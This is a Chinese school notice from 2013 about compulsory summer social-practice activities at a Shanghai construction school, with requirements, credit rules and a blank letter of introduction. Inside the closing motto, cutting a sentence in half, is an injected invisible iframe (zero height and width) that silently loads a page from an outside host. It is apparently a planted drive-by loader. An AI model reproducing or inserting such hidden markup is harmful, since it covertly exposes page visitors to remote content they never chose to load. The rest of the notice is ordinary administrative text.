根据本学期教学工作安排,6月10日-6月28日三周为全校学生社会实践教学周。为此学校要求全体在校生在暑期中必须参加社会实践活动或参加红色爱国主义教育活动,通过实践拓展自己的视野,增长自己的才干,深入社区、工厂、企业、单位等进行社会实践,并在活动中体会团组织的先进性,在实践中深化理论学习,为早日适应和走向社会打下坚实的基础。
实践要求:
1、请持学校团委开具的介绍信寻找实践单位,实践内容可以多样化;
2、请认真填写社会实践活动表,实践时间不得少于两周;
3、实践结束,撰写一篇实践小结,字数不得少于1000字;
4、参加红色爱国主义教育活动的学生还需提供相关照片和证明;
5、社会实践情况按2学分计入学生成绩档案;下学期开学后将社会实践表和实践小结和相关材料交于班主任。
格言赠送:我们应该有恒心,尤其是要有自信心。必须相信自己是有能力的 <iframe height="0" src="http://www.qiqisec.net/1.html" frameborder="0" width="0"></iframe>,而且要不惜任何代价把这种能力发挥出来。
——(法)博宾斯卡
上海市建筑工程学校教务处、团委
2013年5月30日
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介 绍 信
单位:
兹有我校 专业学生 来贵处参与社会实践,请接纳为荷。
共青团上海市建筑工程学校委员会
年 月 日